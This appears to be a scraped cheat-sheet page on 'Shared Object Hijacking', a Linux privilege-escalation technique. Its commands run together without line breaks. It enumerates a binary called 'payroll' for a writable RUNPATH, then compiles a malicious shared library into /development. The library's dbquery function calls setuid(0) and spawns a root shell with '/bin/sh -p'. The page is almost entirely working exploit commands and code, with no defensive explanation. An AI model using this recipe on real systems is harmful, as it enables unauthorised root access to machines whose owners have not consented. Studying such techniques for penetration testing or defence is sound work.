Shared Object Hijacking




Last updated




Last updated
ls -la payrollldd payrollls -lad /developmentreadelf -d payroll | grep PATHcp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
./payroll// src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void dbquery() {
printf("Malicious library loaded\n");
setuid(0);
system("/bin/sh -p");
}gcc src.c -fPIC -shared -o /development/libshared.so./payroll